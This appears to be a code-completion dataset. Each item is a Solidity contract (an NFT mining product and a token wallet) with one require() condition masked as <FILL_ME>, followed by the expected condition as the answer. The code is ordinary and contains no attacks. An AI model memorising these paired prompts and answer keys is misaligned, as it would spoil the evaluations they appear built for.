mintPerTimeValue = totalReturnRate.mul(cost).div(100).div(maxMintTime.div(mintTimeInterval));
}
function _onlyMinter(address from, uint256 tokenId) private view {
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| !_init,"repeat init" | 18,353 | !_init |
"ERC721: transfer caller is not owner nor approved" | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
}
function _onlyMinter(address from, uint256 tokenId) private view {
require(<FILL_ME>)
require(_tokenDetails[tokenId].mining == true, "Token no mining.");
require(_tokenDetails[tokenId].currMining.minter == from, "Token mine is not owner.");
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| _isApprovedOrOwner(address(this),tokenId),"ERC721: transfer caller is not owner nor approved" | 18,353 | _isApprovedOrOwner(address(this),tokenId) |
"Token no mining." | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
}
function _onlyMinter(address from, uint256 tokenId) private view {
require(_isApprovedOrOwner(address(this), tokenId), "ERC721: transfer caller is not owner nor approved");
require(<FILL_ME>)
require(_tokenDetails[tokenId].currMining.minter == from, "Token mine is not owner.");
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| _tokenDetails[tokenId].mining==true,"Token no mining." | 18,353 | _tokenDetails[tokenId].mining==true |
"Token mine is not owner." | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
}
function _onlyMinter(address from, uint256 tokenId) private view {
require(_isApprovedOrOwner(address(this), tokenId), "ERC721: transfer caller is not owner nor approved");
require(_tokenDetails[tokenId].mining == true, "Token no mining.");
require(<FILL_ME>)
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| _tokenDetails[tokenId].currMining.minter==from,"Token mine is not owner." | 18,353 | _tokenDetails[tokenId].currMining.minter==from |
"product not enough" | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
}
function _onlyMinter(address from, uint256 tokenId) private view {
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
require(<FILL_ME>)
_tokenIds.increment();
uint256 tid = pid * 1E6 + _tokenIds.current();
Lib.ProductTokenDetail memory detail;
detail.id = tid;
detail.propA = Lib.random(0, 10000);
detail.propB = Lib.random(0, 10000);
detail.propC = Lib.random(0, 10000);
_tokenDetails[tid] = detail;
_safeMint(to, tid);
_setTokenURI(tid, Strings.toString(tid));
return tid;
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| _tokenIds.current()<maxTokenSize,"product not enough" | 18,353 | _tokenIds.current()<maxTokenSize |
"ERC721: transfer caller is not owner nor approved" | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
}
function _onlyMinter(address from, uint256 tokenId) private view {
}
function _getUniswapPrice(IUniswapV2Router02 r02, uint256 _tv1, address token1, address token2) private view returns (uint256){
}
function _getDNFTPrice() private view returns (uint256){
}
function _canWithdrawValue(uint256 tokenId) private view returns (uint256 timeNum, uint256 dnftNum){
}
function _mintWithdraw(address player, uint256 tokenId) private returns (uint256, uint256){
}
function getDNFTPrice() external view returns (uint256){
}
function tokensOfOwner(address owner) external view returns (Lib.ProductTokenDetail[] memory){
}
function tokenDetailOf(uint256 tid) external view returns (Lib.ProductTokenDetail memory){
}
function tokenMintHistoryOf(uint256 tid) external view returns (Lib.ProductMintItem[] memory){
}
function withdrawToken(address payable to, address token, uint256 value) onlyMain external {
}
// buy product
function buy(address to) external onlyMain returns (uint256) {
}
function mintBegin(address from, uint256 tokenId) external onlyMain {
require(<FILL_ME>)
Lib.ProductTokenDetail storage detail = _tokenDetails[tokenId];
require(detail.mining == false, "Token already mining.");
require(detail.totalTime < maxMintTime, "Token already dead.");
detail.mining = true;
detail.currMining.minter = from;
detail.currMining.beginTime = block.timestamp;
detail.currMining.endTime = 0;
detail.currMining.withdrawTime = detail.currMining.beginTime;
_tokenMints[from].add(tokenId);
_transfer(from, address(this), tokenId);
}
function canWithdrawValue(uint256 tokenId) external view returns (uint256 timeNum, uint256 dnftNum){
}
function mintWithdraw(address from, uint256 tokenId) external onlyMain returns (uint256, uint256) {
}
function redeem(address from, uint256 tokenId) external onlyMain returns (uint256, uint256){
}
}
| _isApprovedOrOwner(from,tokenId),"ERC721: transfer caller is not owner nor approved" | 18,353 | _isApprovedOrOwner(from,tokenId) |
null | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
// ================= ERC20 Token Contract start =========================
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// Evabot interface
contract Evabot {
function increasePendingTokenBalance(address _user, uint256 _amount) public;
}
// Evotexchange interface
contract EvotExchange {
function increaseEthBalance(address _user, uint256 _amount) public;
function increaseTokenBalance(address _user, uint256 _amount) public;
}
// wallet contract
contract Evoai {
using SafeMath for uint256;
address private admin; //the admin address
address private evabot_contract; //evabot contract address
address private exchange_contract; //exchange contract address
address private tokenEVOT; // EVOT contract
uint256 public feeETH; // ETH fee value
uint256 public feeEVOT; //EVOAI fee value
uint256 public totalEthFee; // total acount ether fee
uint256 public totalTokenFee; // total account token fee
mapping (address => uint256) public tokenBalance; //mapping of token address
mapping (address => uint256) public etherBalance; //mapping of ether address
//events
event Deposit(uint256 types, address user, uint256 amount); // type 0 is ether, 1 is token
event Withdraw(uint256 types, address user, uint256 amount); // type 0 is ether, 1 is token
event Transfered(uint256 types, address _from, uint256 amount, address _to);// type 0 is ether, 1 is token
// constructor
constructor() public {
}
modifier onlyAdmin {
}
// set the EVOT token contract address
function setTokenAddress(address _token) onlyAdmin() public {
}
// set evabot contract address to interact with that
function setEvabotContractAddress(address _token) onlyAdmin() public {
}
// set evabot contract address to interact with that
function setExchangeContractAddress(address _token) onlyAdmin() public {
}
// set initial fee
function setETHFee(uint256 amount) onlyAdmin() public {
}
// set initial token fee
function setTokenFee(uint256 amount) onlyAdmin() public {
}
//change the admin account
function changeAdmin(address admin_) onlyAdmin() public {
}
// ether deposit
function deposit() payable public {
}
function() payable public {
}
// withdraw ether
function withdraw(uint256 amount) public {
require(<FILL_ME>)
etherBalance[msg.sender] = etherBalance[msg.sender].sub(amount);
msg.sender.transfer(amount);
emit Withdraw(0, msg.sender, amount); // 0 is ether withdraw
}
// deposit token
function depositToken(uint256 amount) public {
}
// withdraw token
function withdrawToken(uint256 amount) public {
}
// ether transfer
function transferETH(uint256 amount) public {
}
// transfer token
function transferToken(address _receiver, uint256 amount) public {
}
// received ether from evabot_contract
function recevedEthFromEvabot(address _user, uint256 _amount) public {
}
// received token from evabot_contract
function recevedTokenFromEvabot(address _user, uint256 _amount) public {
}
// received ether from exchange contract
function recevedEthFromExchange(address _user, uint256 _amount) public {
}
// withdraw ether fee
function feeWithdrawEthAmount(uint256 amount) onlyAdmin() public {
}
// withrawall ether fee.
function feeWithdrawEthAll() onlyAdmin() public {
}
// withdraw token fee
function feeWithdrawTokenAmount(uint256 amount) onlyAdmin() public {
}
// withdraw all token fee
function feeWithdrawTokenAll() onlyAdmin() public {
}
// withraw all ether on the contract
function withrawAllEthOnContract() onlyAdmin() public {
}
// withrawall token on the contract
function withdrawAllTokensOnContract(uint256 _balance) onlyAdmin() public {
}
// get token contract address
function getEvotTokenAddress() public constant returns (address) {
}
// get evabot contract
function getEvabotContractAddress() public constant returns (address) {
}
// get exchange contract
function getExchangeContractAddress() public constant returns (address) {
}
// get token balance by user address
function balanceOfToken(address user) public constant returns (uint256) {
}
// get ether balance by user address
function balanceOfETH(address user) public constant returns (uint256) {
}
// get ether contract fee
function balanceOfContractFeeEth() public constant returns (uint256) {
}
// get token contract fee
function balanceOfContractFeeToken() public constant returns (uint256) {
}
// get current ETH fee
function getCurrentEthFee() public constant returns (uint256) {
}
// get current token fee
function getCurrentTokenFee() public constant returns (uint256) {
}
}
| etherBalance[msg.sender]>=amount | 18,362 | etherBalance[msg.sender]>=amount |
null | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
// ================= ERC20 Token Contract start =========================
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// Evabot interface
contract Evabot {
function increasePendingTokenBalance(address _user, uint256 _amount) public;
}
// Evotexchange interface
contract EvotExchange {
function increaseEthBalance(address _user, uint256 _amount) public;
function increaseTokenBalance(address _user, uint256 _amount) public;
}
// wallet contract
contract Evoai {
using SafeMath for uint256;
address private admin; //the admin address
address private evabot_contract; //evabot contract address
address private exchange_contract; //exchange contract address
address private tokenEVOT; // EVOT contract
uint256 public feeETH; // ETH fee value
uint256 public feeEVOT; //EVOAI fee value
uint256 public totalEthFee; // total acount ether fee
uint256 public totalTokenFee; // total account token fee
mapping (address => uint256) public tokenBalance; //mapping of token address
mapping (address => uint256) public etherBalance; //mapping of ether address
//events
event Deposit(uint256 types, address user, uint256 amount); // type 0 is ether, 1 is token
event Withdraw(uint256 types, address user, uint256 amount); // type 0 is ether, 1 is token
event Transfered(uint256 types, address _from, uint256 amount, address _to);// type 0 is ether, 1 is token
// constructor
constructor() public {
}
modifier onlyAdmin {
}
// set the EVOT token contract address
function setTokenAddress(address _token) onlyAdmin() public {
}
// set evabot contract address to interact with that
function setEvabotContractAddress(address _token) onlyAdmin() public {
}
// set evabot contract address to interact with that
function setExchangeContractAddress(address _token) onlyAdmin() public {
}
// set initial fee
function setETHFee(uint256 amount) onlyAdmin() public {
}
// set initial token fee
function setTokenFee(uint256 amount) onlyAdmin() public {
}
//change the admin account
function changeAdmin(address admin_) onlyAdmin() public {
}
// ether deposit
function deposit() payable public {
}
function() payable public {
}
// withdraw ether
function withdraw(uint256 amount) public {
}
// deposit token
function depositToken(uint256 amount) public {
}
// withdraw token
function withdrawToken(uint256 amount) public {
require(<FILL_ME>)
tokenBalance[msg.sender] = tokenBalance[msg.sender].sub(amount);
if (!ERC20(tokenEVOT).transfer(msg.sender, amount)) revert();
emit Withdraw(1, msg.sender, amount); // 1 is token withdraw
}
// ether transfer
function transferETH(uint256 amount) public {
}
// transfer token
function transferToken(address _receiver, uint256 amount) public {
}
// received ether from evabot_contract
function recevedEthFromEvabot(address _user, uint256 _amount) public {
}
// received token from evabot_contract
function recevedTokenFromEvabot(address _user, uint256 _amount) public {
}
// received ether from exchange contract
function recevedEthFromExchange(address _user, uint256 _amount) public {
}
// withdraw ether fee
function feeWithdrawEthAmount(uint256 amount) onlyAdmin() public {
}
// withrawall ether fee.
function feeWithdrawEthAll() onlyAdmin() public {
}
// withdraw token fee
function feeWithdrawTokenAmount(uint256 amount) onlyAdmin() public {
}
// withdraw all token fee
function feeWithdrawTokenAll() onlyAdmin() public {
}
// withraw all ether on the contract
function withrawAllEthOnContract() onlyAdmin() public {
}
// withrawall token on the contract
function withdrawAllTokensOnContract(uint256 _balance) onlyAdmin() public {
}
// get token contract address
function getEvotTokenAddress() public constant returns (address) {
}
// get evabot contract
function getEvabotContractAddress() public constant returns (address) {
}
// get exchange contract
function getExchangeContractAddress() public constant returns (address) {
}
// get token balance by user address
function balanceOfToken(address user) public constant returns (uint256) {
}
// get ether balance by user address
function balanceOfETH(address user) public constant returns (uint256) {
}
// get ether contract fee
function balanceOfContractFeeEth() public constant returns (uint256) {
}
// get token contract fee
function balanceOfContractFeeToken() public constant returns (uint256) {
}
// get current ETH fee
function getCurrentEthFee() public constant returns (uint256) {
}
// get current token fee
function getCurrentTokenFee() public constant returns (uint256) {
}
}
| tokenBalance[msg.sender]>=amount | 18,362 | tokenBalance[msg.sender]>=amount |
"Purchase would exceed max supply of Tokens" | pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
function _length(Set storage set) private view returns (uint256) {
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
}
function length(Bytes32Set storage set) internal view returns (uint256) {
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
}
function remove(AddressSet storage set, address value) internal returns (bool) {
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
function length(AddressSet storage set) internal view returns (uint256) {
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
function length(UintSet storage set) internal view returns (uint256) {
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
}
function _length(Map storage map) private view returns (uint256) {
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) {
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
